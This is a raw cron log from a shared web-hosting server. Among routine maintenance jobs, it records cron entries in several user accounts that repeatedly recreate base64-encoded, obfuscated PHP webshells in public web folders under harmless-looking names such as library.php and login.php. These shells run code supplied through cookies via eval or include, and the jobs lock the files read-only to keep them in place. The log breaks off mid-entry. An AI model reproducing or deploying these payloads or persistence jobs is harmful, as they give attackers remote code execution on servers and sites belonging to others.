Mar  2 08:30:01 medusa CROND[15115]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 08:30:01 medusa CROND[15119]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:30:01 medusa CROND[15117]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 08:30:01 medusa CROND[15122]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:30:01 medusa CROND[15123]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 08:30:01 medusa CROND[15126]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:30:01 medusa CROND[15132]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 08:30:01 medusa CROND[15120]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 08:30:01 medusa CROND[15138]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:30:01 medusa CROND[15140]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:30:01 medusa CROND[15131]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 08:30:01 medusa CROND[15137]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 08:30:01 medusa CROND[15116]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:30:02 medusa CROND[15118]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 08:31:01 medusa CROND[3054]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:31:02 medusa CROND[3187]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:31:02 medusa CROND[3188]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:31:02 medusa CROND[3189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 08:31:02 medusa CROND[3191]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 08:31:02 medusa CROND[3193]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 08:31:02 medusa CROND[3194]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:31:02 medusa CROND[3192]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 08:31:02 medusa CROND[3196]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:31:02 medusa CROND[3195]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:31:02 medusa CROND[3198]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:31:02 medusa CROND[3200]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:31:02 medusa CROND[3211]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 08:32:02 medusa CROND[16468]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 08:32:02 medusa CROND[16471]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 08:32:02 medusa CROND[16472]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 08:32:02 medusa CROND[16478]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 08:32:02 medusa CROND[16479]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:32:02 medusa CROND[16480]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 08:32:02 medusa CROND[16483]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 08:32:02 medusa CROND[16488]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 